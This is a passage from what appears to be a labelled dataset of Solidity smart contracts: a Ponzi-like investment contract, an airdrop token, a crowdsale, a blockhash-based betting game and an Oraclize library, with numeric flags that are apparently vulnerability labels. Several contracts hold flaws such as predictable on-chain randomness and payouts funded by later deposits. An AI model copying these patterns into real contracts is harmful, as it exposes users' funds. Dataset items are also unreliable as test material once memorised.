owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,019 |
pragma solidity 0.8.0;
contract AirdropTestToken {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
modifier onlyOwner {
require(owner == msg.sender, "AirdropTestToken: You're not the owner.");
_;
}
mapping (address => uint256) private _balances;
mapping (address => uint256) private _lockedBalances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _maxSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint UNIT;
uint public reward;
bool public airdropActive;
address public owner;
uint nextReceiver;
uint receiversCount;
mapping(uint => address) receivers;
mapping(address => uint) received;
mapping(address => bool) isDonator;
mapping(address => uint) lastClaimed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Airdrop(address indexed receiver, uint amount);
event Burn(address indexed burner, uint amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerMessage(string message);
constructor () {
airdropActive = true;
_name = "AirdropTestToken";
_symbol = "ATT";
_decimals = 18;
UNIT = 10 ** _decimals;
reward = 1000 * UNIT;
owner = msg.sender;
nextReceiver = 1;
_totalSupply = 0;
_maxSupply = 9600000 * UNIT;
_mint(msg.sender, 100000 * UNIT);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account_) public view returns (uint256) {
return _balances[account_];
}
function lockedBalanceOf(address account_) public view returns (uint256) {
return _lockedBalances[account_];
}
function allowance(address owner_, address spender_) public view virtual returns (uint256) {
return _allowances[owner_][spender_];
}
function name() public view returns (string memory name_) {
return _name;
}
function symbol() public view returns (string memory symbol_) {
return _symbol;
}
function getNextReceiver() public view returns (uint nextReceiver_) {
return nextReceiver;
}
function getReceiver(uint id_) public view returns (address receiverAddress_) {
return receivers[id_];
}
function getTotalReceivers() public view returns (uint receiversCount_) {
return receiversCount;
}
function getReceived(address address_) public view returns (uint received_) {
return received[address_];
}
function checkIsDonator(address address_) public view returns (bool isDonator_) {
return isDonator[address_];
}
receive() payable external {
requestAirdrop();
}
fallback() external {
revert();
}
function transfer(address recipient_, uint256 amount_) public returns (bool) {
_transfer(_msgSender(), recipient_, amount_);
return true;
}
function approve(address spender_, uint256 amount_) public returns (bool) {
_approve(_msgSender(), spender_, amount_);
return true;
}
function transferFrom(address sender_, address recipient_, uint256 amount_) public returns (bool) {
_transfer(sender_, recipient_, amount_);
_approve(sender_, _msgSender(), _allowances[sender_][_msgSender()] - amount_);
return true;
}
function increaseAllowance(address spender_, uint256 addedValue_) public returns (bool) {
_approve(_msgSender(), spender_, _allowances[_msgSender()][spender_] + addedValue_);
return true;
}
function decreaseAllowance(address spender_, uint256 subtractedValue_) public returns (bool) {
_approve(_msgSender(), spender_, _allowances[_msgSender()][spender_] - subtractedValue_);
return true;
}
function lockTokens(uint _amount) public returns(bool) {
_lockedBalances[_msgSender()] += _amount;
_burn(_msgSender(), _amount);
return true;
}
function requestAirdrop() payable public returns(bool) {
require(airdropActive, "AirdropTestToken: Airdrop is over.");
for(uint i = 1; i <= 3; i++) {
if(receivers[nextReceiver] != address(0)) {
_mint(receivers[nextReceiver], reward);
_mint(owner, 10 * UNIT);
received[receivers[nextReceiver]] += reward;
nextReceiver++;
emit Airdrop(receivers[nextReceiver], reward);
}
}
uint requestMultiplier_ = 1;
uint donationSteps_ = 100000000000000000;
if(msg.value >= 1) {
uint remain_ = msg.value % donationSteps_;
require(remain_ == 0, "AirdropTestToken: Please send ETH only in 0.1 steps.");
isDonator[_msgSender()] = true;
requestMultiplier_ = msg.value / donationSteps_;
requestMultiplier_ = requestMultiplier_ * 2;
for(uint i = 1; i <= requestMultiplier_; i++) {
receiversCount++;
receivers[receiversCount] = _msgSender();
}
}
else {
require(_totalSupply <= _maxSupply - _totalSupply / 5, "AirdropTestToken: Last 5% supply reserved for donating users.");
require(block.timestamp - lastClaimed[msg.sender] >= 3600, "AirdropTestToken: You can only get an Airdrop once an hour. Donate to get more.");
}
receiversCount++;
receivers[receiversCount] = _msgSender();
lastClaimed[msg.sender] = block.timestamp;
return true;
}
function withdraw() payable public onlyOwner {
_msgSender().call{value: address(this).balance}("");
}
function status() public onlyOwner {
if(airdropActive == true) {
airdropActive = false;
}
else {
airdropActive = true;
}
}
function ownerMessage(string memory message_) public onlyOwner {
emit OwnerMessage(message_);
}
function transferERC20(address token_) public {
uint amount_ = IERC20(token_).balanceOf(address(this));
IERC20(token_).transfer(owner, amount_);
}
function _transfer(address sender_, address recipient_, uint256 amount_) internal {
require(sender_ != address(0), "AirdropTestToken: transfer from the zero address");
require(recipient_ != address(0), "AirdropTestToken: transfer to the zero address");
_balances[sender_] = _balances[sender_] - amount_;
_balances[recipient_] = _balances[recipient_] + amount_;
emit Transfer(sender_, recipient_, amount_);
}
function _mint(address account_, uint256 amount_) internal {
require(account_ != address(0), "AirdropTestToken: mint to the zero address");
require(_totalSupply + amount_ <= _maxSupply, "AirdropTestToken: Amount to mint exceeds max supply.");
_totalSupply = _totalSupply + amount_;
_balances[account_] = _balances[account_] + amount_;
emit Transfer(address(0), account_, amount_);
}
function _burn(address account_, uint256 amount_) internal {
require(account_ != address(0), "AirdropTestToken: burn from the zero address");
_balances[account_] = _balances[account_] - amount_;
_totalSupply = _totalSupply - amount_;
_maxSupply = _maxSupply - amount_;
emit Transfer(account_, address(0), amount_);
emit Burn(account_, amount_);
}
function _approve(address owner_, address spender_, uint256 amount_) internal {
require(owner_ != address(0), "AirdropTestTokenRC20: approve from the zero address");
require(spender_ != address(0), "AirdropTestToken: approve to the zero address");
_allowances[owner_][spender_] = amount_;
emit Approval(owner_, spender_, amount_);
}
}
interface IERC20 {
function transfer(address recipient_, uint256 amount_) external returns(bool);
function balanceOf(address account_) external view returns (uint256);
} | 0 | 357 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BetrToken is MintableToken {
string public constant name = "BETer";
string public constant symbol = "BTR";
uint8 public constant decimals = 18;
function getTotalSupply() public returns (uint256) {
return totalSupply;
}
}
contract BetrCrowdsale is Ownable {
using SafeMath for uint256;
BetrToken public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public constant TEAM_LIMIT = 225 * (10 ** 6) * (10 ** 18);
uint256 public constant PRESALE_LIMIT = 275 * (10 ** 6) * (10 ** 18);
uint public constant PRESALE_BONUS = 30;
uint saleStage = 0;
bool public isFinalized = false;
event BetrTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function BetrCrowdsale(uint256 _rate, address _wallet, address _tok_addr) {
require(_rate > 0);
require(_wallet != address(0));
token = BetrToken(_tok_addr);
rate = _rate;
wallet = _wallet;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!isFinalized);
uint256 weiAmount = msg.value;
uint256 tokens = computeTokens(weiAmount);
require(isWithinTokenAllocLimit(tokens));
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
BetrTokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
function computeTokens(uint256 weiAmount) internal returns (uint256) {
uint256 appliedBonus = 0;
if (saleStage == 0) {
appliedBonus = PRESALE_BONUS;
}
return weiAmount.mul(100).mul(100 + appliedBonus).div(rate);
}
function isWithinTokenAllocLimit(uint256 _tokens) internal returns (bool) {
return token.getTotalSupply().add(_tokens) <= PRESALE_LIMIT;
}
function setStage(uint stage) onlyOwner public {
require(!isFinalized);
saleStage = stage;
}
function finalize() onlyOwner public {
require(!isFinalized);
uint256 ownerShareTokens = TEAM_LIMIT;
token.mint(wallet, ownerShareTokens);
isFinalized = true;
}
} | 1 | 2,831 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
event UpdatedAgent(address _agent, bool _status);
constructor() public {
defAgent = msg.sender;
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
emit UpdatedAgent(_agent, _status);
}
}
contract CryptoDuel is Agent, SafeMath {
uint public fee = 100;
uint public refGroupFee = 5000;
uint public refUserFee = 1000;
uint public min = 1000000000000000;
uint public max = 1000000000000000000000;
uint256 public start = 0;
uint256 public period = 30 days;
enum State{New, Deleted, OnGoing, Closed}
struct _duel {
address creator;
address responder;
uint bet;
uint blocknumber;
int refID;
State state;
}
_duel[] public Duels;
mapping(int => address) public RefGroup;
mapping(address => address) public RefAddr;
mapping(uint => address) public duelWinner;
mapping(uint => uint) public reward;
mapping(address => uint) public rewardGroup;
mapping(address => uint) public rewardAddr;
mapping(uint => bool) public AlreadyReward;
event newDuel(uint duel, address indexed creator, address indexed responder, uint bet, int refID);
event deleteDuel(uint duel);
event respondDuel(uint duel, address indexed responder);
event refundDuel(uint duel);
event resultDuel(uint duel, address indexed winner, uint sum);
event changeMin(uint min);
event changeMax(uint max);
event changeRefGroup(int ID, address referrer);
event changeRefAddr(address referal, address referrer);
event changeFee(uint fee);
event changeRefGroupFee(uint refGroupFee);
event changeRefFee(uint refFee);
event withdrawProfit(uint fee, address RefGroup);
event UpdatedPeriod(uint _period);
constructor() public {
RefGroup[0] = msg.sender;
emit changeRefGroup(0, msg.sender);
}
function CreateDuel(address _responder) payable external {
require(msg.value >= min && msg.value <= max);
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : 0
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, 0);
}
function CreateDuel(address _responder, int _refID) payable external {
require(msg.value >= min && msg.value <= max);
require(RefGroup[_refID] != address(0));
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : _refID
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, _refID);
}
function RespondDuel(uint _duelID) payable external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.New);
require(duel.bet == msg.value);
require(duel.responder == msg.sender || duel.responder == address(0));
duel.state = State.OnGoing;
duel.responder = msg.sender;
duel.blocknumber = block.number;
emit respondDuel(_duelID, msg.sender);
}
function DeleteDuel(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.creator == msg.sender);
require(duel.state == State.New);
duel.state = State.Deleted;
uint duel_fee = safePerc(duel.bet, fee);
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
reward[N] = safeAdd(reward[N], duel_fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
emit deleteDuel(_duelID);
}
function GetWin(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.OnGoing);
require(duel.creator == msg.sender || duel.responder == msg.sender);
require(block.number > duel.blocknumber + 1);
duel.state = State.Closed;
uint duel_fee = 0;
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
if (blockhash(duel.blocknumber) == 0 || (block.number - duel.blocknumber) > 256) {
duel_fee = safePerc(duel.bet, fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
duel.responder.transfer(safeSub(duel.bet, duel_fee));
reward[N] = safeAdd(reward[N], safeMul(2, duel_fee));
emit refundDuel(_duelID);
duelWinner[_duelID] = address(0);
} else {
uint hash = uint(keccak256(abi.encodePacked(blockhash(duel.blocknumber + 1), duel.creator, duel.responder, duel.bet)));
uint duel_bet_common = safeMul(2, duel.bet);
duel_fee = safePerc(duel_bet_common, fee);
uint _refFee = 0;
uint sum = safeSub(duel_bet_common, duel_fee);
address winner;
if (hash % 2 == 0) {
duel.creator.transfer(sum);
winner = duel.creator;
emit resultDuel(_duelID, duel.creator, sum);
} else {
duel.responder.transfer(sum);
winner = duel.responder;
emit resultDuel(_duelID, duel.responder, sum);
}
duelWinner[_duelID] = winner;
if (RefAddr[winner] != address(0)) {
_refFee = refUserFee;
rewardAddr[RefAddr[winner]] = safeAdd(rewardAddr[RefAddr[winner]], safePerc(duel_fee, _refFee));
}
if (duel.refID != 0) {
_refFee = safeSub(refGroupFee, _refFee);
rewardGroup[RefGroup[duel.refID]] = safeAdd(rewardGroup[RefGroup[duel.refID]], safePerc(duel_fee, _refFee));
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, refGroupFee)));
} else {
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, _refFee)));
}
}
}
function setMin(uint _min) external onlyOwner {
min = _min;
emit changeMin(_min);
}
function setMax(uint _max) external onlyOwner {
max = _max;
emit changeMax(_max);
}
function setFee(uint _fee) external onlyOwner {
fee = _fee;
emit changeFee(_fee);
}
function setRefGroupFee(uint _refGroupFee) external onlyOwner {
refGroupFee = _refGroupFee;
emit changeRefGroupFee(_refGroupFee);
}
function setRefUserFee(uint _refFee) external onlyOwner {
refUserFee = _refFee;
emit changeRefFee(_refFee);
}
function setRefGroup(int _ID, address _referrer) external onlyAgent {
RefGroup[_ID] = _referrer;
emit changeRefGroup(_ID, _referrer);
}
function setRefAddr(address _referral, address _referrer) external onlyAgent {
RefAddr[_referral] = _referrer;
emit changeRefAddr(_referral, _referrer);
}
function withdraw() external onlyOwner returns (bool success) {
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period;
}
if (!AlreadyReward[N]) {
uint amount = reward[N];
AlreadyReward[N] = true;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
} else {
return false;
}
}
function withdrawRefGroup() external returns (bool success) {
require(rewardGroup[msg.sender] > 0);
uint amount = rewardGroup[msg.sender];
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefAddr() external returns (bool success) {
require(rewardAddr[msg.sender] > 0);
uint amount = rewardAddr[msg.sender];
rewardAddr[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefBoth() external returns (bool success) {
require(rewardAddr[msg.sender] > 0 || rewardGroup[msg.sender] > 0);
uint amount = safeAdd(rewardAddr[msg.sender], rewardGroup[msg.sender]);
rewardAddr[msg.sender] = 0;
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function setPeriod(uint _period) external onlyOwner {
period = _period;
emit UpdatedPeriod(_period);
}
function setStart(uint _start) external onlyOwner {
start = _start;
}
} | 1 | 2,783 |
pragma solidity ^0.4.11;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
